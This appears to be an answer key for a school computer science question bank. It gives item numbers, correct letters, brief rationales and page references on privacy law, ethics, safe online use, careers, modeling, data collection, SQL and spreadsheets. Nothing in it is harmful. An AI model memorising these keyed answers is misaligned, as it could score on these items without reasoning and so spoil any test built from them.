0001.f.12.3 A. Safe harbor generally requires responding expeditiously to valid notices, among other conditions. Question: page 263

0001.f.12.4 C. Fair use and circumvention are separate questions. Periodic exemptions cover certain educational uses. Question: page 263

0001.f.12.5 D. The safe harbor provisions of the Digital Millennium Copyright Act protect qualifying online service providers. Question: page 263

0001.f.13.1 A. Typical acceptable use policies cover the use of school resources, including networks. Question: page 264

0001.f.13.2 A. AUPs generally apply to school-provided technology and networks. Other school rules might apply if there is an effect at school. Question: page 264

0001.f.13.3 C. Use of a school-provided device is typically covered, even off campus. Question: page 264

0001.f.13.4 B. Clear expectations and consequences make a policy consistent and easier to follow. Question: page 265

0001.f.13.5 B. The response should enforce the policy and teach the safer alternative. Question: page 265

0001.f.14.1 A. The General Data Protection Regulation (GDPR) gives people in the EU rights over their data, including erasure in many situations. Question: page 265

0001.f.14.2 D. The SHIELD Act's coverage turns on holding New York residents' private information. Question: page 266

0001.f.14.3 C. New York's breach notification law, updated by the SHIELD Act, requires notice to residents and certain state agencies. Question: page 266

0001.f.14.4 C. The GDPR's territorial scope includes targeting or monitoring people in the EU. Question: page 266

0001.f.14.5 A. The GDPR requires a lawful basis, such as consent or a legitimate interest, for processing personal data. Question: page 266

0001.g Ethics

0001.g.1.1 A. Meaningful consent requires that people understand a use and can refuse it. Making a post public establishes neither, and removing names does not change that. Question: page 267

0001.g.1.2 B. Consent is meaningful when people understand what they accept and have a real choice. Long take-it-or-leave-it terms undermine both, even when the use is technically disclosed. Question: page 267

0001.g.1.3 C. Consent depends on understanding a collection and on a real ability to refuse it. Signatures, payments, and prior use establish neither. Question: page 267

0001.g.1.4 D. A new use of existing data calls for new disclosure and a real choice. Telling families afterward gives them no opportunity to refuse. Question: page 268

0001.g.1.5 A. Customers who accepted a vague purpose did not thereby agree to a very different use. Security and retention are separate questions. Question: page 268

0001.g.2.1 D. Dark patterns steer users toward choices that benefit a company. Making cancellation far harder than signing up is a standard example, and the asymmetry shows that the difficulty is not accidental. Question: page 268

0001.g.2.2 A. The preselection and the late fee steer customers into a purchase. Only an unselected default and early disclosure remove both. Question: page 268

0001.g.2.3 A. A hidden fee benefits the company by misleading the user. The other features inform users or protect them from mistakes. Question: page 269

0001.g.2.4 B. Visual emphasis nudges users toward the choice that benefits the company. The alternative still exists, but the design makes it less likely to be chosen. Question: page 269

0001.g.2.5 B. The central question is whether the interface steers users toward what benefits the company rather than the user. Question: page 269

0001.g.3.1 D. Streaks and notifications are engagement features. They raise concerns about manipulation, especially of children and teenagers. Question: page 270

0001.g.3.2 C. These features keep people engaged, often by removing natural stopping points. Question: page 270

0001.g.3.3 B. Infinite scroll maximizes attention by removing stopping points, which raises concerns about manipulation of children. The proposal accepts less engagement in order to address that concern. Question: page 270

0001.g.3.4 B. Defaults shape behavior, so continued watching is not automatically evidence of what people want. Question: page 270

0001.g.3.5 B. Engagement features raise concerns about manipulation for everyone, and especially for children and teenagers. Question: page 271

0001.g.4.1 C. Codes direct computing professionals to avoid harm and be honest, placing the public good above an employer's convenience. These responsibilities go beyond what the law requires. Question: page 271

0001.g.4.2 B. The code directs professionals to contribute to society, avoid harm, be honest, and respect privacy. Question: page 271

0001.g.4.3 D. Selective reporting misleads the district about the product. No personal data or lack of skill is involved. Question: page 272

0001.g.4.4 D. Professional codes address responsibilities beyond what the law requires, so a lawful but harmful use still calls for ethical judgment. Question: page 272

0001.g.4.5 D. Responsibilities to the public continue when a manager disagrees, and they are pursued through appropriate channels rather than dropped or acted on unilaterally. Question: page 272

0001.g.5.1 A. Responsibility remains with the people and organizations who build and deploy a system. Software is not a responsible party. Question: page 273

0001.g.5.2 C. The vendor built the product and the district chose to deploy it, so both remain responsible. Opacity and shared development do not erase that responsibility. Question: page 273

0001.g.5.3 C. Decision records allow outcomes to be reviewed, explained, and challenged. Question: page 273

0001.g.5.4 A. Shared development should not be allowed to erase accountability. Each organization that built or deployed the system remains responsible for its part. Question: page 273

0001.g.5.5 B. Accountability requires identifiable people who review results and answer for them. Question: page 274

0001.g.6.1 B. Data minimization means collecting only what a stated purpose requires. Encrypting unneeded data protects it, but does not minimize it. Question: page 274

0001.g.6.2 C. Keeping data beyond a stated need adds risk without any corresponding benefit. Question: page 274

0001.g.6.3 B. Data minimization means collecting and keeping only what a stated purpose needs, then deleting it. Compression, encryption, and consolidation all leave the same information in the vendor's hands. Question: page 275

0001.g.6.4 C. Data that is not retained cannot be exposed in a breach. Backups add copies to protect, and insurance covers the company rather than its customers. Question: page 275

0001.g.6.5 B. Retention should be limited to a stated purpose and period. A short, stated period preserves footage for safety needs while reducing the risk of misuse or breach. Question: page 275

0001.g.7.1 B. Training on creators' work without consent or compensation is a major ethical issue in generative AI. Question: page 275

0001.g.7.2 D. Generative tools can create convincing false content that misleads the public about what a person said. Question: page 276

0001.g.7.3 C. Training and running large models requires substantial energy and water. Question: page 276

0001.g.7.4 D. Clear expectations and disclosure support integrity without assuming misconduct. Detectors can be wrong, so a score alone does not prove a violation. Question: page 276

0001.g.7.5 B. Generative AI raises labor issues, including displacement and the devaluing of skilled work. Question: page 277

0001.h Safe and responsible use

0001.h.1.1 A. Online information can be copied and spread beyond its original audience, and deletion by the poster does not reach those copies. Question: page 277

0001.h.1.2 A. Information that has been copied can persist long after the original is deleted, beyond the author's control. Question: page 277

0001.h.1.3 C. Removal can reduce visibility, but copies elsewhere may persist. Question: page 278

0001.h.1.4 B. Private settings limit who sees a post, not what those people do with it. Question: page 278

0001.h.1.5 A. Web archives show that online information can last after it is changed or deleted. Question: page 278

0001.h.2.1 C. Personally identifiable information includes data that can identify someone in combination, such as a birth date and a school. Question: page 278

0001.h.2.2 A. A Social Security number belongs to one person. A birth date, a ZIP code, and a school name are each shared by many people and identify someone only in combination. Question: page 279

0001.h.2.3 D. De-identifying work means removing direct and combinable details, which reduces the chance that anyone can identify the student. Question: page 279

0001.h.2.4 D. Details that seem harmless on their own can identify a person in combination. Question: page 279

0001.h.2.5 D. A birth date and a homeroom can narrow respondents down to one person. Grade level and school are shared by everyone surveyed, so they do not distinguish respondents. Question: page 279

0001.h.3.1 B. Photos can contain metadata such as GPS location, which can reveal where someone lives even when nothing in the picture does. Question: page 280

0001.h.3.2 B. Photo metadata often records when and where a photo was taken. Question: page 280

0001.h.3.3 C. Turning off location data and checking visible details limits what a photo reveals. Delaying a post or renaming a file changes neither. Question: page 280

0001.h.3.4 D. Both metadata and visible content can disclose where someone lives or goes to school. Question: page 281

0001.h.3.5 D. Location is sensitive, so limiting who can see it reduces risk. Sharing trips to and from home discloses the place that most needs protecting. Question: page 281

0001.h.4.1 B. Lateral reading checks other trusted sources rather than judging a site from its own appearance. Question: page 281

0001.h.4.2 C. Lateral reading means leaving a page to check what other trusted sources say about it. Question: page 281

0001.h.4.3 C. Deepfakes can look convincing, so checking trusted outside sources is more reliable than judging the video itself. Question: page 282

0001.h.4.4 B. A domain ending does not establish credibility, so outside checks are needed. Question: page 282

0001.h.4.5 A. Tracing claims and comparing sources evaluates credibility beyond surface features. Question: page 282

0001.h.5.1 B. Students should save evidence, avoid retaliating, use blocking and reporting tools, and tell a trusted adult. Question: page 283

0001.h.5.2 C. New York's Dignity for All Students Act requires schools to address harassment, including cyberbullying. Question: page 283

0001.h.5.3 D. New York's law covers off-campus conduct that affects the school environment, so location and device ownership do not settle the question. Question: page 283

0001.h.5.4 D. Teachers follow school reporting procedures and support the targeted student. Question: page 283

0001.h.5.5 C. Reporting and offering support reduce harm without escalating it. Question: page 284

0001.h.6.1 D. Managing notifications and sleep is part of responsible technology use. Question: page 284

0001.h.6.2 A. Responsible use includes self-awareness about how particular apps affect mood, attention, and sleep. Question: page 284

0001.h.6.3 B. Quality and purpose of use matter, so simple totals give an incomplete picture. Question: page 285

0001.h.6.4 D. Logging use and feelings helps students notice how apps affect them. Question: page 285

0001.h.6.5 D. Separating the phone from the bedroom removes the distraction while still meeting the need for an alarm. Question: page 285

0001.h.7.1 D. Collaboration should use sharing features rather than shared accounts, which keeps passwords private. Question: page 286

0001.h.7.2 A. Logging out prevents the next user from accessing the student's accounts. Question: page 286

0001.h.7.3 B. Accounts link actions to a person, so sharing passwords can have consequences even between friends. Question: page 286

0001.h.7.4 C. The teacher should protect the account without using it, and reinforce the habit. Question: page 286

0001.h.7.5 B. Individual accounts with granted access preserve accountability and keep passwords private. Question: page 287

0001.i Careers and habits of mind

0001.i.1.1 C. Computing is used throughout agriculture, including sensing and data analysis, so the example links the field to what the student already cares about. Question: page 287

0001.i.1.2 B. Computing appears throughout agriculture, health care, finance, the arts, journalism, and government, including in the central work of those fields. Question: page 287

0001.i.1.3 C. Data journalism uses computing as a tool for investigation, and reporters remain essential. Question: page 288

0001.i.1.4 C. Connections to students' interests show that computing is relevant to many careers. Question: page 288

0001.i.1.5 D. Computing is used in the arts as a means of making work, as well as in technical fields. Question: page 288

0001.i.2.1 B. Data analysts draw conclusions from data. Question: page 288

0001.i.2.2 D. Network administrators maintain connectivity. Question: page 289

0001.i.2.3 A. Security analysts monitor and respond to threats. Question: page 289

0001.i.2.4 C. Software developers build applications from requirements. Question: page 289

0001.i.2.5 D. Security analysts investigate threats, and system administrators maintain and restore systems. Question: page 290

0001.i.3.1 D. Front-end developers build what users see and interact with. Question: page 290

0001.i.3.2 B. Back-end developers build server-side logic and manage databases. Question: page 290

0001.i.3.3 B. These technologies build what users see and interact with in a browser. Question: page 290

0001.i.3.4 D. Database queries and APIs are part of back-end development. Question: page 291

0001.i.3.5 D. Full-stack developers work on both the front end and the back end. Question: page 291

0001.i.4.1 D. User experience designers research needs, create prototypes, and test interfaces. Question: page 291

0001.i.4.2 B. The role relies more on research and design than on writing production code. Question: page 292

0001.i.4.3 D. User experience work investigates how real people use an interface, which reveals the barrier. Question: page 292

0001.i.4.4 B. User experience design draws on an understanding of people and on design skills, and relies less on production code. Question: page 292

0001.i.4.5 A. Low-cost prototypes allow designers to test ideas early, while changes are inexpensive. Question: page 292

0001.i.5.1 B. Bioinformatics applies computing to biological data. Question: page 293

0001.i.5.2 C. Digital humanities applies computing to texts and culture. Question: page 293

0001.i.5.3 C. Computational social science applies computing to social questions, such as how people influence one another. Question: page 293

0001.i.5.4 C. Interdisciplinary fields apply computing to questions from other disciplines. Question: page 293

0001.i.5.5 D. Computational methods extend scale, but they do not replace theory or critical thinking. Question: page 294

0001.i.6.1 C. Banking, insurance, and government often rely on older systems written in languages such as COBOL. Question: page 294

0001.i.6.2 B. Legacy systems remain in use, so people who can maintain them are needed. Question: page 294

0001.i.6.3 A. Legacy systems are older systems that remain in critical use. Question: page 295

0001.i.6.4 B. Stable systems can be costly and risky to replace, so they often remain in service. Question: page 295

0001.i.6.5 A. Understanding older systems can support careers in sectors that rely on them. Question: page 295

0001.i.7.1 D. Computing careers call for persistence in debugging, including trying new approaches and learning from others. Question: page 296

0001.i.7.2 D. Requirements are often unclear, so professionals ask questions and adapt. Question: page 296

0001.i.7.3 C. Technologies change over a career, so professionals keep learning. Question: page 296

0001.i.7.4 C. Communicating reasoning builds habits such as persistence, attention to detail, and teamwork. Question: page 296

0001.i.7.5 C. Software is typically developed in teams, so clear communication is part of the work. Question: page 297

0001.i.8.1 C. Working within shared practices matters more than personal preference for new professionals. Question: page 297

0001.i.8.2 C. Version control records changes and lets people work together on the same code. Question: page 297

0001.i.8.3 D. Workplace practice goes beyond whether code runs, and it includes review and shared standards. Question: page 298

0001.i.8.4 D. Version control and review are common workplace practices. Question: page 298

0001.i.8.5 C. New professionals should learn the tools and workflows that their team uses. Question: page 298

0001.i.9.1 D. People enter computing through many routes, including certificates and self-directed portfolios. Question: page 298

0001.i.9.2 D. Internships are a common bridge between school and a computing job. Question: page 299

0001.i.9.3 C. Portfolios show what a candidate can do. Question: page 299

0001.i.9.4 B. Pathways include community colleges, certifications, apprenticeships, and portfolios. Question: page 299

0001.i.9.5 D. Varied examples show that people can enter computing at different times and in different ways. Question: page 300

0002 Computational thinking and programming

0002.a Models and simulations

0002.a.1.1 B. A simulation runs a simplified model over time, which allows exploration when a direct test would be costly. Its results still need validation against reality, because the model is a simplification. Question: page 300

0002.a.1.2 A. The function is the model: it keeps only coverage, growth, and grazing. Applying it repeatedly in the loop is what makes the program a simulation, since the behavior unfolds over simulated days. Question: page 300

0002.a.1.3 B. A model keeps the features relevant to its question. Grade point average does not affect how quickly a student reaches a stairwell, so it adds work without helping to answer the question. Question: page 301

0002.a.1.4 B. Simulations are used when direct tests are too costly or dangerous. They are only as good as the model behind them, so results still require validation. Question: page 302

0002.a.1.5 A. The output follows from the model's assumptions. It says what those rules imply, and it would need to be compared with counts from the lake before being trusted as a prediction. Question: page 302

0002.a.2.1 B. Finer detail can improve realism, but the number of calculations rises rapidly with it. A forecast that arrives after the flood is of no use, so computational cost limits the detail that is feasible. Question: page 302

0002.a.2.2 C. The function returns `40000` and then `160000`. Added detail often raises computational cost faster than the detail itself, which is why cost limits what a model can feasibly include. Question: page 303

0002.a.2.3 D. Every model leaves out details. The question is whether a detail matters to the model's goal and is worth what it costs to compute. Question: page 303

0002.a.2.4 D. Leaving out details is normal in modeling. A model is judged by whether it answers its question well enough, and eight years of adequate staffing estimates are relevant evidence. Question: page 304

0002.a.2.5 C. A suitable abstraction removes detail that the question does not need while keeping what the question depends on. Fire spread depends on fuel, wind, and spacing, and not on individual leaves. Question: page 304

0002.a.3.1 B. Each car looks only at the next cell. The backward-moving edge of the congestion emerges from their interactions, as traffic waves do on real roads, and no rule mentions it. Question: page 305

0002.a.3.2 D. Rules for individual agents suit this question because the flock's shape is what the student wants to explain. Writing the shape into an equation or a leader would assume the answer. Question: page 305

0002.a.3.3 A. In an agent-based model, many simple agents follow local rules, and the larger result is observed rather than specified. Question: page 306

0002.a.3.4 C. The overall pattern exceeds any individual preference, so it cannot be read back as what individuals want. Emergence means that group-level results are not direct statements of agents' rules. Question: page 306

0002.a.3.5 C. The defining feature is that each person acts on local information. A rule based on the whole circle replaces the local rule with a global one, whereas the other changes leave the local rule in place. Question: page 307

0002.a.4.1 D. This pattern is overfitting. The program has learned details specific to the data used to build it, so close fit to that data does not show that its predictions will be accurate. Question: page 307

0002.a.4.2 B. Only positions 8 and 9 were not used in building. Evaluating there gives `1` correct out of 2, a far less flattering and more honest figure than `8` out of 8, which reflects only that each record matches itself. Question: page 308

0002.a.4.3 C. Accuracy on the building data can be very high without the program being able to predict new cases. The relevant figure comes from records that were not used to construct it. Question: page 309

0002.a.4.4 A. Data not used to build a model provide a direct test of whether it predicts well. Rerunning or refining against the same records cannot show that. Question: page 309

0002.a.4.5 A. The first model's large drop on unseen records suggests that it is overfit. Performance on records held out from building is the relevant basis for comparison. Question: page 309

0002.a.5.1 A. Predictions beyond the range of the data used to build a model are unreliable, since the observed pattern may not continue. Here, growth levels off in adulthood, which the puppy records could not reveal. Question: page 310

0002.a.5.2 C. Extrapolating far beyond observed data assumes that the pattern will continue. Ten years of steady growth say little about demographic conditions decades later. Question: page 310

0002.a.5.3 C. Applying a model to conditions unlike those in its data is extrapolation. The relationship in the observed range did not hold below it. Question: page 311

0002.a.5.4 D. Only 100 miles per week falls outside the range of the data used to build the model. The other users' values fall within that range, even where the exact figures were not observed. Question: page 311

0002.a.5.5 D. Interpolation estimates within the range of the observed data. Extrapolation goes beyond it, where the pattern may not continue, so it is the less reliable of the two. Question: page 311

0002.a.6.1 B. Random elements make results vary from run to run. Repeated runs describe a range of likely outcomes, which is a more defensible report than one run. Question: page 312

0002.a.6.2 A. A pseudorandom generator is a deterministic algorithm, so a seed fixes the whole sequence. Different seeds can lead to different outcomes, which is why repeated runs with different seeds are used to describe a range. Question: page 312

0002.a.6.3 A. Differences between runs are expected in a simulation with random elements. Their spread is information about the range of likely outcomes. Question: page 313

0002.a.6.4 A. Fixing the seed is useful for testing and debugging. It does not remove uncertainty about the system, so results should still be examined across many seeds. Question: page 314

0002.a.6.5 B. Simulation results describe likely outcomes given a model's assumptions. They are not certainties, and they are not exact frequencies for the real system. Question: page 314

0002.b Data collection

0002.b.1.1 C. A data collection protocol states in advance what is collected, from whom, how it is stored, who receives it, and why. None of those decisions had been made here. Question: page 315

0002.b.1.2 A. Access is a protocol decision and must be settled in advance. The other questions can only be answered once data exist. Question: page 315

0002.b.1.3 A. A protocol makes collection consistent, so that data gathered by different people can be compared. Changing tools or discarding data afterward would not supply readings at matching times. Question: page 315

0002.b.1.4 C. A protocol states the purpose of collection, and new uses should be disclosed to those affected. The objection stands even without a security failure. Question: page 316

0002.b.1.5 B. Repeatability depends on documenting how data will be collected and handled, so that another person can follow the same procedure. Question: page 316

0002.b.2.1 B. The sample does not represent the population of interest. Band members have already chosen an early schedule, so they differ systematically from the school on this question. Question: page 316

0002.b.2.2 A. Reaching the underrepresented group through other channels makes the sample a better match for the population of interest. Question: page 317

0002.b.2.3 D. Voluntary responses overrepresent strong opinions, so the reviews may not represent all owners. Question: page 317

0002.b.2.4 D. The conclusion extends to all people from a self-selected group, which may differ systematically from the population. Question: page 318

0002.b.2.5 C. Adding responses from the same self-selected source does not correct bias. Representativeness depends on who is in the sample, and not only on how many. Question: page 318

0002.b.3.1 D. The readings examined are at positions 0, 5, 10, and 15, and the warm period occupies positions 6 through 8. Data taken too infrequently can miss a brief event, however precise each reading is. Question: page 319

0002.b.3.2 D. A rate much faster than the change of interest creates needless data. A reading every 15 minutes still captures changes that unfold over hours, with a far smaller daily volume. Question: page 319

0002.b.3.3 C. The sampling rate must be frequent enough to capture the change of interest. Greater precision or a different unit would not provide readings during the rapid cooling. Question: page 320

0002.b.3.4 B. Two bounces per second are too fast for one reading per second, so the readings cannot trace the actual motion. The sampling rate is too low for the change of interest. Question: page 320

0002.b.3.5 A. Brief events need frequent samples, whereas long-term summaries can be calculated from far fewer readings. Question: page 320

0002.b.4.1 D. Clear, unbiased questions are the basis of a useful survey. The words “excellent” and “confusing” lead the respondent, so the 85 percent figure is difficult to interpret. Question: page 321

0002.b.4.2 D. An acceptable age must satisfy both limits, so the two conditions are joined by `AND`. With `OR`, every number passes, because each value is at least 13 or at most 19. Checking a range in this way promotes the accuracy of collected data. Question: page 321

0002.b.4.3 D. The question asks about two things at once, which makes it unclear which part a rating refers to. Separate questions yield a clear answer about each topic. Question: page 322

0002.b.4.4 D. Answer choices should be mutually exclusive and cover all possible responses. A value of two hours fits two of these choices, and a value below one hour fits none. Question: page 322

0002.b.4.5 A. Restricting the answer format where possible removes variation at the source, which is more reliable than cleaning free text afterward. Question: page 323

0002.b.5.1 D. Responsible scraping includes checking the terms of service and `robots.txt` and limiting the rate of requests, so that the collection does not burden the site. Question: page 323

0002.b.5.2 B. A web scraper is a program that automatically extracts data from web pages. Question: page 323

0002.b.5.3 D. `robots.txt` states the owner's limits on automated access, and it does not technically prevent access. Responsible use respects it even for pages that a person can view. Question: page 324

0002.b.5.4 D. Scrapers depend on page structure, which can change even when a site looks the same to people. This fragility is one reason to prefer a documented interface where one exists. Question: page 324

0002.b.5.5 D. An API is intended for programmatic access, and it is less fragile than extracting data from a page's layout. Question: page 324

0002.b.6.1 B. Stewardship limits data to what is needed and to authorized people, and it de-identifies data where possible. Question: page 325

0002.b.6.2 C. Data should be deleted when they are no longer needed. Removing them eliminates the risk that they could later be exposed. Question: page 325

0002.b.6.3 C. Keeping the key beside the data defeats the anonymity promised, especially in a public location. Question: page 326

0002.b.6.4 A. Protection should be proportional to sensitivity, and access should be limited to authorized people with a need for the data. Question: page 326

0002.b.6.5 A. Combinations of details, known as quasi-identifiers, can re-identify people, particularly in small groups. Removing names alone does not de-identify a dataset. Question: page 327

0002.b.7.1 D. Data can be accurate as of the collection date and still be too old for a current use. Question: page 327

0002.b.7.2 B. The file represents New York as `"NY"`, `"N.Y."`, and `"New York"`. Each value is correct, but the differing forms prevent the records from being grouped. Question: page 327

0002.b.7.3 D. Completeness concerns whether needed values are present. Missing entries for half of the schools limit the comparison, regardless of how well the other records were checked. Question: page 328

0002.b.7.4 B. Accuracy concerns whether values are correct. The file is complete, consistent, and current, but transposed digits make some values wrong. Question: page 328

0002.b.7.5 A. Fitness depends on the purpose. Data can be excellent in every general respect and still be unable to answer a particular question. Question: page 329

0002.c Tools for data

0002.c.1.1 D. Each row is one record, here one voltage test, and each column is a field, an attribute that every test has. The column names label the fields and are not a record. Battery B-04 appears twice because it was tested twice, and each test is a separate record. Question: page 329

0002.c.1.2 D. A preferred language is one more attribute of an entity the table already describes, so it is a new column, or field. Each patient remains one record. Existing patients simply have no value in the new field yet. Question: page 330

0002.c.1.3 A. A repair is a separate entity from the bus, so each repair is its own record. Overwriting the old problem would lose history, and a `problem2` field is a repeating column that cannot grow cleanly. The `Buses` table should still have exactly one record per bus. Question: page 330

0002.c.1.4 A. A record is a row, one entity such as one order, and a field is a column, one attribute of that entity. The table therefore holds 40,000 orders, each with 8 attributes such as date, total, and shipping method. Question: page 330

0002.c.1.5 B. The student is one entity, so there is one record in `Students`. Each absence is a separate event and therefore a separate record in `Absences`. Packing dates into one field or adding columns for later dates makes counting and searching them difficult. Question: page 331

0002.c.2.1 A. A foreign key must match the primary key of an existing record in the other table. The value 1044 matches no student, so the absence refers to nobody. Repeated values are expected in a foreign key, because one student can have many absences. Question: page 331

0002.c.2.2 C. A primary key must identify exactly one record, so its values must never repeat. Names, birth dates, and ZIP codes can be shared by several members, no matter how stable or convenient they are. An assigned number can be guaranteed distinct. Question: page 332

0002.c.2.3 B. A foreign key is a field that holds the primary key value of a record in another table. Each player has one team, so `Players` stores a `team_id`. A `Teams` record would need many `player_id` values to do the same job. Question: page 332

0002.c.2.4 B. Deleting the referenced record leaves foreign key values that match no primary key, which breaks referential integrity. The database does not choose a new customer for the orders, and `order_id` is independent of `customer_id`. Question: page 332

0002.c.2.5 B. A primary key value must be present and must belong to only one record. Names may repeat, as the two labs show, but the identifying `room_id` must not. A different name does not make a duplicated `room_id` acceptable. Question: page 333

0002.c.3.1 A. Playlist 1 contains songs 10 and 11, and song 11 also appears on playlist 2, so each side relates to many records on the other. Neither original table can hold that alone, so each pairing is stored as one record in a third table. The other tables remain necessary because they hold the facts about each playlist and each song. Question: page 333

0002.c.3.2 D. Author 21 is referred to by books 301 and 303, so one author can have many books. Each book holds only one `author_id`, so it has one author. The foreign key sits on the "many" side, here `Books`. Question: page 334

0002.c.3.3 B. A workshop and a tutor are both entities, and any workshop can relate to any number of tutors, so the pairings belong in a third table of foreign keys. Repeating columns have a fixed limit, and duplicate workshop records break the rule of one record per workshop. Sorting leaves the combined text field unchanged. Question: page 335

0002.c.3.4 D. When each record on both sides can relate to many on the other, one foreign key field cannot hold the link, so a junction table holds pairs of foreign keys. The publisher and the clerk rules are one-to-many, so the foreign key goes on the "many" side. The loyalty card rule is one-to-one and also needs no extra table. Question: page 335

0002.c.3.5 B. A single foreign key field holds one value, so one record of `Orders` can name only one product. Putting a list in the field breaks matching, and a repeated `order_id` would stop identifying exactly one record. An order and a product can each relate to many of the other, so a third table of pairs is needed. Question: page 335

0002.c.4.1 A. `WHERE` keeps the rows whose `miles` value is at least 5, which are Ridge Loop, Summit Trail, and Mill Creek. `SELECT name` then returns only the `name` column for those rows. The operator `>=` includes the value 5 itself. Question: page 336

0002.c.4.2 D. `UPDATE` applies to every row unless a `WHERE` clause limits it, and this statement has none. All three scores therefore rise by 5. Adding `WHERE student = 'Osei'` would have limited the change to the intended record. Question: page 336

0002.c.4.3 D. The condition must keep films whose `year` is 2010 or greater, and `WHERE` supplies it. Because line 02 already names the table, repeating `FROM Films` would be an error. `>` would leave out films from 2010. Question: page 337

0002.c.4.4 B. Structured Query Language is declarative. The person states what data is wanted, here the names meeting a condition, and the database system determines how to find them. A procedural program, by contrast, spells out each step. Question: page 337

0002.c.4.5 C. The clauses must appear in the order `SELECT`, `FROM`, `WHERE`, and `ORDER BY`. A condition may test columns that are not returned, and a sort may use a column that is not returned. The corrected query places the `WHERE` line before the `ORDER BY` line. Question: page 338

0002.c.5.1 A. A filter displays only the rows that meet a condition and leaves the other rows in the sheet. The `SUM` function still includes hidden rows, so the range `C2:C7` adds all six students' dues. The visible rows total 60, and the six rows total 150. Question: page 338

0002.c.5.2 D. Sorting reorders all rows, and it must move whole rows together, or the values no longer match their records. Sorting only one column rearranges that column and leaves the others in place. Neither a separate sort of the names nor a filter nor a reversed direction restores the pairs. Question: page 339

0002.c.5.3 A. A one-dimensional array has a single row, so `search` returns `[0, 2]` for the first "Park", whose column is index 2. The expression `found[1]` selects the column, which is `2`. The second "Park" at index 4 is not reported. Question: page 339

0002.c.5.4 A. Deleting the records changes the stored data, whereas filtering only changes which rows are displayed. After the loop the array holds `[10, 10, 10]`, so its size is 3. A filter should leave the full array unchanged and select the matching rows for display. Question: page 340

0002.c.5.5 A. The skipped row numbers show that rows are missing from the display but still counted, which is how a filter works. Sorting would leave the row numbers consecutive, and deleting would renumber the rows. A search finds values and does not alter which rows appear. Question: page 340

0002.c.6.1 C. Standardizing formats gives equal values one spelling, so that grouping and counting treat them as the same. Sorting only places the variants near each other, and deleting records discards families who answered correctly. Cleaning belongs before analysis, because every later result inherits the inconsistency. Question: page 341

0002.c.6.2 C. The test on `scores[i]` protects only the count `sat`, which is `3`. The total still includes both codes, so it is `80 − 99 + 90 + 70 − 99`, which is `42`. Dividing by all five entries gives `8.4`, shown as `8`. Absence codes must be removed or handled before an average is calculated, since otherwise they distort every result. Question: page 341

0002.c.6.3 D. A duplicate is defined by the identifier of the entity, here the sale, so records 1043 and 1043 are the same sale entered twice. Records 1041 and 1042 share the customer, item, and date but have different order numbers, so they are two real purchases. Removing them would understate sales. Question: page 342

0002.c.6.4 A. Blank answers are unknown, and writing 0 turns them into claims that 40 families have no income. The sum stays the same while the count rises from 160 to 200, so the average drops by a fifth. Missing values need a deliberate treatment, such as excluding them from the calculation. Question: page 342

0002.c.6.5 B. Every figure computed from the column used the mistaken values, so all of them are wrong, not only the extreme ones. Errors do not cancel, because they appear in some rows and not others. This is why cleaning comes first, since errors affect all later results. Question: page 343

0002.c.7.1 A. The key `store` selects the total for that sale's store. North receives `40 + 15 + 10`, which is `65`, and East receives `25 + 30`, which is `55`. This transformation aggregates the individual sales by group. Question: page 343

0002.c.7.2 D. The question concerns the change for each student, so a new column that subtracts the earlier score from the later score is needed. A sum does not show change, and an average removes the individual rows. Sorting by one test ignores how much each student started with. Question: page 344

0002.c.7.3 D. A join pairs records only where the shared values match, and `0451` is not the same value as `451`. The identifiers must be cleaned into one format first. Sorting does not change values, and columns such as grade or balance do not identify a student. Question: page 344

0002.c.7.4 A. The variable `total` keeps its value from the first team, so the second team's points are added to `8`. Setting it to `0` at the start of each row gives separate totals of `8` and `7`. The counter `c` is already set by its own loop, and resetting `r` would repeat the first row without end. Question: page 345

0002.c.7.5 A. One row for each start station, with an average of the minutes, is a summary of groups, which is an aggregation by group. A calculated column would keep all 1,200 rows, and a filter would keep original values. A join combines tables on a shared key and does not itself average anything. Question: page 345

0002.c.8.1 A. The six lunch items are categories, and the question compares their counts, which is what a bar chart shows. A line chart implies an order or a change over time, and a scatter plot needs two numeric variables. A histogram shows how values of one numeric variable are distributed. Question: page 346

0002.c.8.2 C. A scatter plot places a point for each student at the values of two numeric variables, so it can show whether they tend to rise and fall together. Counts per homeroom or totals per grade level are category comparisons for bar charts, and the commonest range of scores is read from a histogram. Question: page 346

0002.c.8.3 A. The program places the values of one numeric variable into consecutive intervals and counts each, which is the data of a histogram. The counts are `5`, `4`, and `1`. The intervals are not times, the counts are not two variables, and a bar for each student would display the original ten values. Question: page 346

0002.c.8.4 B. A line connects points in sequence and suggests that one value leads to the next, as with change over time. Alphabetical species are categories with no such order, so the slope is meaningless. A bar chart compares categories without implying a trend. Question: page 347

0002.c.8.5 A. Change over time is shown by a line chart, and two lines on the same axes allow the schools to be compared at each year. A scatter plot would relate the two schools without showing the years, a histogram loses the time order, and totals remove the change. Question: page 347

0002.c.9.1 A. Bar height is read as proportional to the value, but an axis that starts at 80 makes the bar for 84 four times as tall as the bar for 81, although the values differ by under 4 percent. Both values are accurate and the effect comes from the truncated axis. Labels would not change how tall the bars appear. Question: page 348

0002.c.9.2 C. Equal bar heights can be compared only when the axes use the same scale. Here one chart ends at 60 and the other at 300, so the second class read about five times as much. Accurate points and a zero baseline do not remove the effect of inconsistent scales. Question: page 348

0002.c.9.3 D. Showing only a selected part of the data lets accurate points lead to a conclusion that the full data would not support. Here the full year includes lower months, so the impression of steady growth is false. The chart type and axis spacing are not the cause. Question: page 349

0002.c.9.4 C. The gaps between the recorded years are 10, 10, 5, 3, and 2 years, but the chart spaces them equally. The same increase over a shorter span means a faster rate, which a straight line conceals. Starting the vertical axis at zero is not misleading. Question: page 349

0002.c.9.5 A. A viewer reads a chart through its axes, scales, and the data chosen. A truncated axis can make a small difference look large even when each bar height is accurate. Checking each height against the spreadsheet does not examine those choices. Question: page 350

0002.c.10.1 C. References in a spreadsheet formula are relative, so each pasted copy shifts by the number of rows it moved. Two rows below D2, the formula becomes `=B4*C4`, which is `9 * 2`, or `18`. Question: page 350

0002.c.10.2 A. A spreadsheet supports formulas, sorting, filtering, and charts, which makes it suitable for a small data set. A database is better for large, shared, related data, and totals can be calculated in either tool. Unstructured text would make totals and charts difficult. Question: page 350

0002.c.10.3 A. Databases handle large, shared, related data and reduce duplication, because each fact is stored once and referred to by key. Spreadsheets already offer pivot tables, and neither tool removes the need to clean data. The repeated copies of each business are the office's real difficulty. Question: page 351

0002.c.10.4 A. When a fact is stored in several places, a correction in one place leaves the others wrong. Storing each teacher once and referring to the record by key means a single change applies everywhere. Repeating the email in a combined sheet, sorting, or filtering still leaves several copies. Question: page 351

